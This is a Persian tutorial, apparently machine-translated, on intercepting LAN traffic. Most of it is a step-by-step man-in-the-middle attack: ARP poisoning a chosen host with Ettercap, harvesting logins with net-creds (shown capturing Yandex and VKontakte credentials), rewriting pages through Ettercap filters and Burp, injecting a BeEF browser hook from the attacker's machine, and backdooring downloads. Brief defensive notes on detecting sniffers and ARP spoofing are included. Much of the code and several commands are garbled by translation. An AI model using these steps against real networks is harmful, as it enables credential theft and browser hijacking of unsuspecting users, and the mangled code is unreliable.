هکرها از آن برای تغییر مسیر ترافیک استفاده می کنند. روش های حملات هکری جعل داده ها با Burp

روش های رهگیری ترافیک شبکه

گوش دادن به شبکه با استفاده از برنامه های تحلیلگر شبکه اولین و بیشترین است به روشی سادهرهگیری داده ها

برای محافظت در برابر شنود شبکه، استفاده کنید برنامه های ویژهبه عنوان مثال، AntiSniff، که قادر به شناسایی رایانه های موجود در شبکه هستند که به ترافیک شبکه گوش می دهند.

برای حل مشکلات خود، برنامه های ضد اسنیفر از علامت خاصی از وجود دستگاه های شنود در شبکه استفاده می کنند - کارت شبکه رایانه sniffer باید در حالت گوش دادن خاص باشد. در حالی که در حالت گوش دادن هستند، رایانه های شبکه به روش خاصی به دیتاگرام های IP ارسال شده به میزبان مورد آزمایش واکنش نشان می دهند. به عنوان مثال، میزبان های شنود معمولا تمام ترافیک ورودی را پردازش می کنند، نه فقط دیتاگرام های ارسال شده به آدرس میزبان. علائم دیگری وجود دارد که نشان دهنده رفتار میزبان مشکوک است که AntiSniff می تواند تشخیص دهد.

بدون شک، استراق سمع از دیدگاه یک مهاجم بسیار مفید است، زیرا به فرد اجازه می دهد تا اطلاعات مفید زیادی را به دست آورد - رمزهای عبور منتقل شده از طریق شبکه، آدرس رایانه های شبکه، داده های محرمانه، نامه ها و غیره. با این حال، استراق سمع ساده به یک هکر اجازه نمی دهد که در ارتباطات شبکه بین دو میزبان به منظور اصلاح و خراب کردن داده ها دخالت کند. برای حل چنین مشکلی به فناوری پیچیده تری نیاز است.

برای رهگیری و در اختیار گرفتن فرآیند تعامل شبکه بین دو میزبان A و B، مهاجم می‌تواند آدرس IP میزبان‌های در حال تعامل را با آدرس IP خود با ارسال پیام‌های جعلی ARP (پروتکل رزولوشن آدرس) به میزبان‌های A و B جایگزین کند.

برنج. 1 درخواست اشتباه ARP

بیایید ببینیم چگونه یک هکر می تواند از ARP برای رهگیری ارتباطات شبکه بین میزبان A و B استفاده کند.

برای رهگیری ترافیک شبکه بین میزبان های A و B، هکر آدرس IP خود را به این میزبان ها تحمیل می کند، به طوری که A و B هنگام تبادل پیام از این آدرس IP جعلی استفاده می کنند. برای تحمیل آدرس IP خود، هکر عملیات زیر را انجام می دهد.

  • مهاجم آدرس MAC هاست A و B را تعیین می کند، برای مثال با استفاده از دستور nbtstat از بسته W2RK.
  • مهاجم پیام‌هایی را به آدرس‌های MAC شناسایی‌شده میزبان‌های A و B ارسال می‌کند، که پاسخ‌های ARP جعلی به درخواست‌ها برای حل کردن آدرس‌های IP میزبان به آدرس‌های MAC رایانه‌ها هستند. به میزبان A اطلاع داده می شود که آدرس IP میزبان B با آدرس MAC رایانه مهاجم مطابقت دارد. به میزبان B اطلاع داده می شود که آدرس IP میزبان A نیز با آدرس MAC رایانه مهاجم مطابقت دارد.
  • میزبان های A و B آدرس های MAC دریافتی را در حافظه پنهان ARP خود ذخیره می کنند و سپس از آنها برای ارسال پیام به یکدیگر استفاده می کنند. از آنجایی که آدرس‌های IP A و B با آدرس MAC رایانه مهاجم مطابقت دارد، میزبان‌های A و B بدون شک از طریق واسطه‌ای که می‌تواند هر کاری را با پیام‌های خود انجام دهد، ارتباط برقرار می‌کند.

برای محافظت در برابر چنین حملاتی، مدیران شبکه باید یک پایگاه داده با جدولی از مکاتبات بین آدرس‌های MAC و آدرس‌های IP رایانه‌های شبکه خود نگهداری کنند.

در شبکه های یونیکس، این نوع حمله درخواست ARP جعلی را می توان با استفاده از ابزارهای سیستمی برای نظارت و مدیریت ترافیک شبکه، به عنوان مثال، arpredirect پیاده سازی کرد. متأسفانه، به نظر نمی رسد که چنین ابزارهای قابل اعتمادی در شبکه های ویندوز پیاده سازی شوند. به عنوان مثال، در وب سایت NTsecurity می توانید ابزار GrabitAII را دانلود کنید، که به عنوان ابزاری برای هدایت ترافیک بین میزبان های شبکه ارائه شده است. با این حال، بررسی اولیه عملکرد ابزار GrabitAII نشان می دهد که موفقیت کامل در اجرای عملکردهای آن هنوز دور از دسترس است.

برای رهگیری ترافیک شبکه، مهاجم می‌تواند آدرس IP واقعی یک روتر شبکه را با آدرس IP خود جعل کند، برای مثال، با استفاده از پیام‌های تغییر مسیر ICMP جعلی. میزبان A، طبق RFC-1122، باید پیام ریدایرکت دریافتی را به عنوان پاسخی به یک دیتاگرام ارسال شده به میزبان دیگری درک کند، به عنوان مثال، میزبان A اقدامات خود را بر روی پیام تغییر مسیر بر اساس محتوای پیام تغییر مسیر دریافتی تعیین می کند. و اگر تغییر مسیر دیتاگرام در Redirect از A به B در امتداد یک مسیر جدید مشخص شده باشد، این دقیقا همان کاری است که میزبان A انجام خواهد داد.

برنج. 2 مسیریابی نادرست

برای انجام مسیریابی نادرست، مهاجم باید برخی از جزئیات سازمان را بداند شبکه محلی، که میزبان A در آن قرار دارد، به ویژه آدرس IP روتر که از طریق آن ترافیک از میزبان A به B ارسال می شود. با دانستن این موضوع، مهاجم یک دیتاگرام IP ایجاد می کند که در آن آدرس IP فرستنده به عنوان IP روتر تعریف می شود. آدرس، و گیرنده میزبان A مشخص شده است. همچنین در دیتاگرام یک پیام تغییر مسیر ICMP با فیلد آدرس روتر جدید روی آدرس IP رایانه مهاجم تنظیم شده است. پس از دریافت چنین پیامی، میزبان A تمام پیام ها را به آدرس IP رایانه مهاجم ارسال می کند.

برای محافظت در برابر چنین حمله ای، باید پردازش پیام های ICMP Redirect را در میزبان A غیرفعال کنید (به عنوان مثال، با استفاده از یک فایروال)، و دستور tracert (در یونیکس این دستور tracerout است) می تواند آدرس IP رایانه مهاجم را نشان دهد. . این ابزارها می توانند مسیر اضافی را پیدا کنند که در شبکه محلی ظاهر شده است که در هنگام نصب پیش بینی نشده است، مگر اینکه، البته، مدیر شبکه هوشیار باشد.

مثال‌های بالا از رهگیری (که قابلیت‌های مهاجمان به دور از محدودیت است) نیاز به محافظت از داده‌های ارسال شده از طریق شبکه را در صورتی که داده‌ها حاوی اطلاعات محرمانه باشند متقاعد می‌سازد. تنها روش محافظت در برابر رهگیری ترافیک شبکه، استفاده از برنامه هایی است که الگوریتم های رمزنگاری و پروتکل های رمزگذاری را پیاده سازی می کنند و از افشای و جایگزینی اطلاعات محرمانه جلوگیری می کنند. برای حل چنین مشکلاتی، رمزنگاری ابزاری را برای رمزگذاری، امضا و تأیید صحت پیام‌های ارسال شده از طریق پروتکل‌های امن فراهم می‌کند.

اجرای عملی تمامی روش های رمزنگاری برای حفاظت از تبادل اطلاعات توسط شبکه های VPN(شبکه خصوصی مجازی – شبکه های خصوصی مجازی).

رهگیری اتصال TCP

پیچیده ترین حمله رهگیری ترافیک شبکه را باید ضبط اتصال TCP (ربایش TCP) در نظر گرفت، زمانی که یک هکر با تولید و ارسال بسته های TCP به میزبان مورد حمله، جلسه ارتباط فعلی با میزبان را قطع می کند. در مرحله بعد، با استفاده از توانایی پروتکل TCP برای بازیابی اتصال TCP قطع شده، هکر جلسه ارتباط قطع شده را رهگیری کرده و آن را به جای کلاینت قطع شده ادامه می دهد.

چندین ابزار مؤثر برای انجام حملات ربودن اتصال TCP ایجاد شده‌اند، اما همه آنها برای پلتفرم یونیکس پیاده‌سازی شده‌اند و در وب‌سایت‌ها این ابزارها فقط به صورت کد منبع ارائه می‌شوند. بنابراین، حملات ربودن اتصال TCP کاربرد کمی دارند.

پروتکل TCP (پروتکل کنترل انتقال) یکی از پروتکل های اصلی انتقال است. سطح OSI، به شما امکان می دهد ارتباطات منطقی را از طریق یک کانال ارتباطی مجازی برقرار کنید. از طریق این کانال، بسته ها با ثبت توالی آنها ارسال و دریافت می شوند، جریان بسته ها کنترل می شود، ارسال مجدد بسته های تحریف شده سازماندهی می شود و در پایان جلسه کانال ارتباطی شکسته می شود. TCP تنها پروتکل است پروتکل پایهاز خانواده TCP/IP که دارای سیستم شناسایی و اتصال پیام پیشرفته است.

بررسی اجمالی بسته sniffers نرم افزار

همه اسنیفرهای نرم افزاری را می توان به دو دسته تقسیم کرد: اسنیفرهایی که از راه اندازی پشتیبانی می کنند خط فرمان، و با رابط گرافیکی اسنیفر می کند. با این حال، ما توجه می کنیم که sniffer هایی وجود دارند که هر دوی این قابلیت ها را با هم ترکیب می کنند. علاوه بر این، Sniffer ها در پروتکل هایی که پشتیبانی می کنند، عمق تجزیه و تحلیل بسته های رهگیری شده، قابلیت پیکربندی فیلترها و امکان سازگاری با سایر برنامه ها با یکدیگر تفاوت دارند.

معمولا پنجره هر معتاد با رابط گرافیکیاز سه حوزه تشکیل شده است. اولین مورد، داده های خلاصه بسته های رهگیری شده را نمایش می دهد. به طور معمول، این ناحیه حداقل فیلدها را نمایش می دهد، یعنی: زمان رهگیری بسته. آدرس IP فرستنده و گیرنده بسته؛ آدرس MAC فرستنده و گیرنده بسته، آدرس پورت منبع و مقصد؛ نوع پروتکل (شبکه، حمل و نقل یا لایه برنامه)؛ برخی اطلاعات خلاصه در مورد داده های رهگیری شده ناحیه دوم اطلاعات آماری مربوط به بسته منتخب را نمایش می دهد و در نهایت ناحیه سوم بسته را به صورت کاراکتر هگزا دسیمال یا اسکی نمایش می دهد.

تقریباً تمام sniffer های بسته به شما امکان تجزیه و تحلیل بسته های رمزگشایی شده را می دهند (به همین دلیل است که sniffer های بسته را تحلیلگر بسته یا آنالایزر پروتکل نیز می نامند). sniffer بسته های رهگیری شده را در بین لایه ها و پروتکل ها توزیع می کند. برخی از sniffer های بسته قادر به شناسایی پروتکل و نمایش اطلاعات ضبط شده هستند. این نوع اطلاعات معمولاً در قسمت دوم پنجره sniffer نمایش داده می شود. به عنوان مثال، هر sniffer می تواند پروتکل TCP را تشخیص دهد و sniffer های پیشرفته می توانند تعیین کنند که کدام برنامه این ترافیک را ایجاد کرده است. اکثر آنالیزورهای پروتکل بیش از 500 پروتکل مختلف را تشخیص می دهند و می توانند آنها را با نام توصیف و رمزگشایی کنند. هر چه یک sniffer بتواند اطلاعات بیشتری را رمزگشایی و روی صفحه نمایش دهد، کمتر نیاز به رمزگشایی دستی خواهد داشت.

یکی از مشکلاتی که بسته sniffer ممکن است با آن مواجه شود، ناتوانی در شناسایی صحیح پروتکل با استفاده از درگاهی غیر از پورت پیش فرض است. به عنوان مثال، برای بهبود امنیت، برخی از برنامه های معروف ممکن است برای استفاده از پورت هایی غیر از پورت های پیش فرض پیکربندی شوند. بنابراین، به جای پورت سنتی 80 که برای وب سرور رزرو شده است، این سرورمی‌توانید به زور آن را روی پورت 8088 یا هر پورت دیگری پیکربندی کنید. برخی از تحلیلگرهای بسته در این شرایط قادر به تعیین صحیح پروتکل نیستند و فقط اطلاعات مربوط به پروتکل سطح پایین (TCP یا UDP) را نمایش می دهند.

اسنیفرهای نرم افزاری وجود دارند که با ماژول های تحلیلی نرم افزاری به عنوان افزونه یا ماژول های داخلی ارائه می شوند که به شما امکان می دهند گزارش هایی با اطلاعات تحلیلی مفید در مورد ترافیک رهگیری شده ایجاد کنید.

یکی دیگر از ویژگی های مشخصه اکثر تحلیلگرهای بسته نرم افزاری، امکان پیکربندی فیلترها قبل و بعد از ضبط ترافیک است. فیلترها بسته های خاصی را از ترافیک عمومی با توجه به یک معیار مشخص انتخاب می کنند، که به شما امکان می دهد هنگام تجزیه و تحلیل ترافیک از شر اطلاعات غیر ضروری خلاص شوید.

جایگزین های Ettercap

Ettercap محبوب ترین نرم افزار حمله انسان در وسط است، اما آیا بهترین است؟ در طول کل دستورالعمل ها، خواهید دید که Ettercap تقریباً هرگز به تنهایی استفاده نمی شود، این یا برنامه دیگری همیشه با آن در زنجیره پردازش ترافیک ساخته می شود. شاید این به انعطاف‌پذیری اضافه کند؛ به طور کلی، این رویکرد اساس یونیکس است - یک برنامه یک کار را انجام می‌دهد و کاربر نهایی برنامه‌های مختلف را برای رسیدن به نتیجه دلخواه ترکیب می‌کند. با این رویکرد، نگهداری کد برنامه آسان تر است؛ از چنین "آجرهای" مینیاتوری می توانید سیستمی با هر پیچیدگی و انعطافی بسازید. با این حال، داشتن پنج کنسول باز با وظایف مختلف، که هدف برنامه های آنها دستیابی به یک نتیجه واحد است، خیلی راحت نیست، به سادگی پیچیده تر است، در مرحله ای امکان اشتباه وجود دارد، و کل پیکربندی شده است. سیستم بیهوده کار خواهد کرد

استشمام Net-Creds:

  • URL های بازدید شده
  • درخواست های POST ارسال شد
  • ورود به سیستم / رمز عبور از فرم های HTTP
  • ورود به سیستم / رمز عبور برای احراز هویت اولیه HTTP
  • جستجوهای HTTP
  • ورود به سیستم / رمز عبور FTP
  • ورود به سیستم / رمز عبور IRC
  • ورود به سیستم / رمز عبور POP
  • ورود به سیستم / رمز عبور IMAP
  • ورود به شبکه راه دور / رمز عبور
  • ورود به سیستم / رمز عبور SMTP
  • رشته جامعه SNMP
  • همه پروتکل های NTLMv1/v2 مانند HTTP، SMB، LDAP و غیره پشتیبانی می شوند.
  • کربروس

انتخاب خوبی از موارد رهگیری شده، و شبکه رانش از این نظر ساده تر است - فقط تصاویر رهگیری شده را نشان می دهد.

دستگاه خود را به حالت حمل و نقل تغییر دهید.

اکو "1" > /proc/sys/net/ipv4/ip_forward

راه اندازی Ettercap با یک رابط گرافیکی (-G):

Ettercap-G

اکنون Hosts را انتخاب کنید، یک مورد فرعی Scan for host وجود دارد. پس از اتمام اسکن، لیست میزبان ها را انتخاب کنید:

به عنوان Target1، روتر را انتخاب کنید (افزودن به هدف 1)، به عنوان Target2 دستگاهی را که به آن حمله خواهید کرد (افزودن به هدف 2) را انتخاب کنید.

اما در اینجا ممکن است اولین مشکل ایجاد شود، به خصوص اگر میزبان های زیادی وجود داشته باشد. در دستورالعمل های مختلف، از جمله در ویدیوی ارائه شده در بالا، نویسندگان به دستگاه مورد نظر (همه به دلایلی دارای ویندوز هستند) می روند و با استفاده از دستور به IP این دستگاه در شبکه محلی نگاه می کنند. موافقم، این گزینه برای شرایط واقعی غیرقابل قبول است.

اگر با استفاده از اسکن کنید، می توانید مقداری دریافت کنید اطلاعات تکمیلیدر مورد هاست، به طور دقیق تر، در مورد سازنده کارت شبکه:

Nmap -sn 192.168.1.0/24

اگر داده ها هنوز کافی نیست، می توانید یک اسکن برای تعیین سیستم عامل انجام دهید:

Nmap -O 192.168.1.0/24

همانطور که می بینیم، دستگاه با IP 192.168.1.33 معلوم شد که ویندوز است، اگر این علامت از بالا نیست، پس چیست؟ 😉 LOL

این چیزی است که ما به عنوان هدف دوم اضافه می کنیم.

حالا به منوی Mitm بروید. در آنجا، ARP Poisoning را انتخاب کنید... کادر مربوط به اتصالات از راه دور Sniff را علامت بزنید.

ما شروع به برداشت می کنیم، در یک پنجره راه اندازی می کنیم

اعتبارات خالص

در دیگری (هر دو برنامه را می توان بدون گزینه اجرا کرد)

شبکه دریفت

جمع آوری داده ها بلافاصله شروع شد:

در سمت راست، driftnet پنجره دیگری را باز کرده است که در آن تصاویر رهگیری شده را نشان می دهد. در پنجره net-creds، سایت های بازدید شده و رمزهای عبور رهگیری شده را می بینیم:

1.2 Ettercap + Burp Suite
3. مشاهده داده ها (سایت های بازدید شده و رمزهای عبور ضبط شده) در Ettercap

در منوی View ما به تب Connections و Profiles دسترسی داریم. همچنین می توانید کادر Resolve IP addresses را علامت بزنید. اتصالات، البته، اتصالات هستند. Ettercap برای هر میزبانی که کشف می کند، پروفایل ها را در حافظه جمع آوری می کند. کاربران و رمزهای عبور در آنجا جمع آوری می شوند. در این حالت، نمایه‌هایی با داده‌های حساب گرفته شده (گذرواژه) با علامت ضربدر مشخص می‌شوند:

نیازی به اتکای بیش از حد به نمایه ها نیست - به عنوان مثال، لاگین ها و گذرواژه های رهگیری شده برای FTP و سایر خدمات مشخص شده اند، که برنامه می تواند به وضوح اطلاعات دریافت شده را به عنوان اعتبار تفسیر کند. این شامل، برای مثال، داده های اصلی احراز هویت، ورود به سیستم و رمزهای عبور وارد شده در فرم های وب نمی شود.

در Connections، امیدوار کننده ترین داده ها با یک ستاره مشخص می شوند:

برای مشاهده جزئیات می توانید روی این ورودی ها دوبار کلیک کنید:

برای اینکه این ستاره ها را در سراسر لیست جستجو نکنید، می توانید بر اساس این قسمت مرتب کنید و همه آنها در بالا یا پایین ظاهر می شوند:

احراز هویت پایه گرفته شده:

ورود-گذرواژه برای Yandex (در زیر برجسته شده است):

اینها اعتبارنامه های رهگیری شده برای VKontakte هستند:

همچنین، جالب ترین داده ها در کنسول پایینی جمع آوری شده است:

اگر می خواهید نتایج برنامه را ذخیره کنید، از این گزینه ها استفاده کنید (کلیدها را هنگام شروع Ettercap مشخص کنید:

گزینه های ثبت: -w، --نوشتن نوشتن داده های ضبط شده در pcapfile -L، --log نوشتن تمام ترافیک در این -l، --log-info فقط اطلاعات غیرفعال را در این -m بنویسد، --log-msg نوشتن همه پیام ها در این -c، --compress از فشرده سازی gzip برای فایل های گزارش استفاده کنید

4. جایگزینی داده در پرواز در Ettercap
4.1 استفاده از فیلترهای سفارشی Ettercap

توجه: با وجود تمام آزمایشات، فیلترهای Ettercap هنوز برای من کار نمی کند. درک این که آیا این موضوع مربوط به دست ها، ویژگی های سخت افزاری یا خطای خود برنامه است، دشوار است... اما برای نسخه 0.8.2 (جدیدترین نسخه در حال حاضر)، یک گزارش اشکال در مورد مشکلات فیلترها وجود دارد. به طور کلی، با قضاوت بر اساس گزارش‌های باگ و انجمن‌ها، فیلترها یا اغلب از بین می‌روند یا برای مدت طولانی کار نمی‌کنند. شعبه ای وجود دارد که 5 ماه پیش تغییراتی در آن ایجاد شده بود https://github.com/Ettercap/ettercap/tree/filter-improvements, i.e. بهبود فیلتر (با بهبود فیلتر). هم برای این شاخه و هم برای نسخه از مخزن، آزمایشات بسیار متنوعی انجام شد، فیلترهای مختلف در شرایط مختلف آزمایش شدند، زمان زیادی صرف شد، اما نتیجه ای حاصل نشد. به هر حال، برای نصب نسخه بهبود فیلتر در کالی لینوکس باید این کار را انجام دهید:

Sudo apt-get حذف ettercap-ettercap گرافیکی-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses1 libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git سی دی ettercap/ mkbuildABCSap cd_ENC =روشن ../ make sudo make install

به طور کلی، اگر فیلترهای شما کار نمی کنند، پس شما تنها نیستید. در دستورالعمل های مربوط به Ettercap، من نمی توانم از مبحث فیلترها بگذرم، بنابراین در هر صورت در مورد آنها بحث خواهد شد.

تاکنون از Ettercap برای جعل ARP استفاده کرده ایم. این یک برنامه بسیار سطحی است. به لطف فیلترهای سفارشی، می‌توانیم مداخله کنیم و ترافیک را در لحظه تغییر دهیم. فیلترها باید در فایل های جداگانه قرار داشته باشند و قبل از استفاده باید با استفاده از برنامه Etterfilter کامپایل شوند. اگرچه اسنادی که پیوند به آنها داده شده اندک به نظر می رسد، اما همراه با مثال های ارائه شده در زیر، به شما امکان می دهد فیلترهای بسیار جالبی بنویسید.

بیایید اولین فیلتر خود را ایجاد کنیم، همه تصاویر را با این جایگزین می کند:

در فایلی به نام img_replacer.filter کپی کنید:

If (ip.proto == TCP && tcp.dst == 80) ( if (جستجو (DATA.data، "Accept-Encoding")) ( جایگزین ("Accept-Encoding"، "Accept-Rubbish!")؛ # توجه داشته باشید: رشته جایگزین به اندازه msg اصلی است ("Zaped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) (place("src=" , " src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/ jollypwn. png\" ")؛ replace("src ="، "src=\"http://www.irongeek.com/images/jollypwn.png\" ")؛ replace("SRC ="، "src= \" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); )

کامپایل فایل:

Etterfilter img_replacer.filter -o img_replacer.ef

نتایج تالیف:

Etterfilter 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap 14 جدول پروتکل بارگیری شد: داده های رمزگشایی شده udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 ثابت بارگذاری شده: VRRP OSPF GRE UDPMP6 منبع "img_replacer.filter" انجام شد. باز کردن متا درخت انجام شد. تبدیل برچسب ها به افست واقعی انجام شد. خروجی نوشتن در "img_replacer.ef" انجام شد. -> اسکریپت به 18 دستورالعمل کدگذاری شده است.

سوئیچ -F به برنامه می گوید که فیلتر را از فایلی که سوئیچ را دنبال می کند بارگذاری کند. پس از کامپایل، نام فایل جدید ما با فیلتر img_replacer.ef است، بنابراین دستور به شکل زیر است:

Ettercap -G -F img_replacer.ef

توجه: وقتی ترافیک وب را نظارت می کنید، بسته هایی که می بینید ممکن است به صورت رمزگذاری شده باشند. برای کار کارآمدفیلترها، Ettercap به ترافیک در فرم نیاز دارد متن ساده. با توجه به برخی مشاهدات، نوع رمزگذاری که صفحات وب استفاده می کنند، "Accept-Encoding: gzip, deflate" است.

در زیر فیلتری وجود دارد که رمزگذاری را بازنویسی می کند و ارتباط را به شکل متن ساده مجبور می کند:

If (ip.proto == TCP && tcp.dst == 80) ( if (جستجو (DATA.data، "gzip")) (place("gzip"، " ")؛ # نکته: چهار فاصله در رشته جایگزین شده msg ("gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (جستجو(DATA.data، "deflate")) ( جایگزین ("deflate"، ""); # نکته: هفت فاصله در خط جایگزین شده msg("whited out deflate\n"); ) )

نحو برای نوشتن فیلترها به تفصیل توضیح داده شده است و سپس چند مثال دیگر وجود دارد:

# جایگزینی متن در یک بسته: if (ip.proto == TCP && search(DATA.data, "lol"))(place("lol"، "smh"); msg("filter ran"); ) # show پیام , اگر پورت tcp 22 باشد if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) (msg("SSH packet\n"); ) ) # را یادداشت کنید کل ترافیک telnet را نیز برای هر بسته اجرا کنید if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) (log(DATA.data, "./ logfile.log "); exec("./program"); ​​) ) # ثبت تمام ترافیک به جز http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) (log (DATA.data , "./logfile.log")؛ ) # برخی از عملیات بر روی بار بسته اگر (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) دیگری ( DATA.data = " modified"; DATA .data + 20 = 0x4445; ) # همه بسته های حاوی "ettercap" را رها کنید اگر (جستجو(DECODED.data، "ettercap")) (msg("some one is about us...\n") ; drop(); kill(); ) # رکورد بسته های ssh رمزگشایی شده مطابق با عبارت منظم if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) (log(DECODED.data, "./decrypted_log"); ) ) ) #کشتن بسته ها if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 جایگزینی داده با استفاده از Burp

ما Ettercap و Burp را همانطور که در پاراگراف 1.2 یا در بند 2.2 توضیح داده شده راه اندازی می کنیم.

در Burp، به Proxy -> Options بروید. ما Match and Replace را در آنجا پیدا می کنیم. برای افزودن یک قانون جدید روی Add کلیک کنید.

  • هدر درخواست هدر درخواست است
  • بدن درخواست - بدن درخواست
  • هدر پاسخ - سرصفحه پاسخ
  • بدن پاسخ - بدن پاسخ
  • درخواست نام پارامتر - درخواست نام پارامتر
  • درخواست مقدار پارامتر - درخواست مقدار پارامتر
  • درخواست خط اول - خط اول درخواست

اگر نیاز به تغییر داده های ارسال شده با روش GET دارید، این امر در مورد هدرها اعمال می شود.

در نشانه گذاری HTML چیزی به نام head (تگ head) نیز وجود دارد. موارد ذکر شده در بالا هیچ ارتباطی با این عنوان ندارند. کمی بالاتر در مورد هدر بسته ها صحبت می کنیم. اگر می خواهید محتوا را تغییر دهید صفحات HTML، پس همیشه باید به جای Request header Response body را انتخاب کنید، حتی اگر می خواهید محتوای تگ head (مثلا عنوان) را تغییر دهید.

اگر آشنایی ندارید عبارات با قاعده، بنابراین، در اصل، چیزی برای نگرانی وجود ندارد: HTML چیزهای زیادی را می بخشد، و آنچه را که نمی فهمد، به سادگی نادیده می گیرد - می توانید از آن استفاده کنید. اگر می دانید چگونه از عبارات منظم استفاده کنید، پس من به شما احترام می گذارم.)))

به عنوان مثال، اجازه دهید یک قانون جدید ایجاد کنیم و سرصفحه درخواست را به بدنه پاسخ تغییر دهیم. در خود قانون ما تغییر خواهیم کرد

.*

بدون عنوان

کادر مطابقت Regex را علامت بزنید.

اکنون در همه سایت ها (بدون HTTPS) عنوان بدون عنوان خواهد بود:

یک خط دلخواه بعد از تگ بدنه وارد کنید (این اولین خط در متن خواهد بود). هدر درخواست به بدنه پاسخ تغییر کرده است. ما تغییر می کنیم

کادر مطابقت Regex را علامت بزنید.

در گوشه سمت راست بالا (بسته به طرح) نوشته "من باحالم!" ظاهر می شود. می‌توانید CSS، کد جاوا اسکریپت، هر متنی را وارد کنید. شما به طور کلی می توانید همه چیز را از صفحه حذف کنید، و سپس آن را با محتوای خود پر کنید - همه چیز به تخیل شما بستگی دارد.

ایده این بود که هر فرم را کمی تغییر دهیم تا داده ها به سرور اصلی و سرور مهاجم ارسال شوند (برای هر فرم چند ارسال را پیاده سازی کنید). اما با این استدلال که اگر داده های ارسالی رمزگذاری نشده باشد و ما به آن دسترسی داشته باشیم، از قبل آن را می بینیم، نیازی به ارسال آن به هیچ سروری نیست. با این حال، اگر کسی به یک نمونه واقعاً کارآمد برای ارسال داده از یک فرم به چندین سرور به طور همزمان نیاز داشته باشد.

5. اتصال به BeEF

برای شروع استفاده از قابلیت‌های BeEF، باید یک فایل جاوا اسکریپت را در کد HTML جاسازی کنیم، معمولاً خطی مانند:

دو روش بعدی فقط در روش تعبیه این رشته متفاوت است.

5.1 اتصال BeEF با استفاده از فیلترهای Ettercap

[بخش بعدا آماده می شود]

5.2 وصل کردن BeEF با Burp

شما باید دقیقاً همانطور که در پاراگراف 4.2 نوشته شده است شروع کنید. فقط به جای جایگزینی هدرها و اضافه کردن متن به سایت، کد جاوا اسکریپت را به صورت یک خط پیاده سازی می کنیم:

در مورد من، این فایل با IP 192.168.1.36 در پورت 3000 موجود است. نام فایل hook.js است (در تنظیمات قابل تغییر است). آن ها در مورد من باید خط را تزریق کنم:

این را می توان برای مثال با ایجاد یک قانون جدید، تغییر سرصفحه درخواست به بدنه پاسخ انجام داد. جایگزینی باید در خود کد HTML رخ دهد

عالی است، وقتی وب سایتی را باز می کنید که HTTPS ندارد، کد جاوا اسکریپت در کد HTML درج می شود که به شما امکان می دهد اطلاعات را از طریق یک مرورگر قلاب شده جمع آوری کنید و حملات مختلفی را انجام دهید:

6. عفونت با درهای پشتی

می‌توانید فایل‌های اجرایی را با استفاده از فیلترهای Ettercap [که به دلایلی دیگر کار نمی‌کنند] و با استفاده از آن‌ها جایگزین و آلوده کنید. برنامه های شخص ثالث. به عنوان مثال، BDFProxy می تواند این کار را در پرواز انجام دهد. متأسفانه، BDFProxy هنوز هم از آپدیت Backdoor Factory آوریل 2016 سرگردان است: بسته libmproxy در پایتون به mitmproxy تغییر نام داد. برای BDFProxy، بسته libmproxy یک وابستگی ضروری است؛ بدون این بسته برنامه شروع نمی شود. بنابراین، در حال حاضر، قبل از "تعمیر" BDFProxy، استفاده از آن غیرممکن است، زیرا حتی با نصب Backdoor Factory، برنامه BDFProxy از عدم وجود کتابخانه libmproxy شکایت می کند.

عملیات مشابهی را می توان با Burp Suite انجام داد. الگوریتم گام به گام ارائه شده است؛ بازنویسی مجدد آن در این بخش منطقی نیست.

7. استفاده از پلاگین های Ettercap

اطلاعات مربوط به پلاگین های Ettercap را می توان یافت. پلاگین های بسیار زیادی وجود دارد؛ آنهایی که در زیر توضیح داده شده اند به نظر من جالب ترین هستند.

وقتی Ettercap راه اندازی می شود، می توان پلاگین ها را متصل کرد، یک گزینه برای این وجود دارد:

P, --plugin این را اجرا کنید

افزونه ها را می توان از رابط کاربری گرافیکی نیز بارگیری کرد:

[مواد در دست آماده سازی]

7.1 arp_cop

با نظارت منفعلانه درخواست ها/پاسخ های ARP، فعالیت های مشکوک ARP را گزارش می کند. می‌تواند تلاش‌های مسمومیت با ARP یا تضادهای ساده IP یا تغییرات IP را گزارش کند. اگر در حال ساخت یک لیست اولیه از هاست هستید، افزونه با دقت بیشتری کار می کند.

Ettercap -TQP arp_cop //

نمونه ای از تشخیص واقعی جعل ARP:

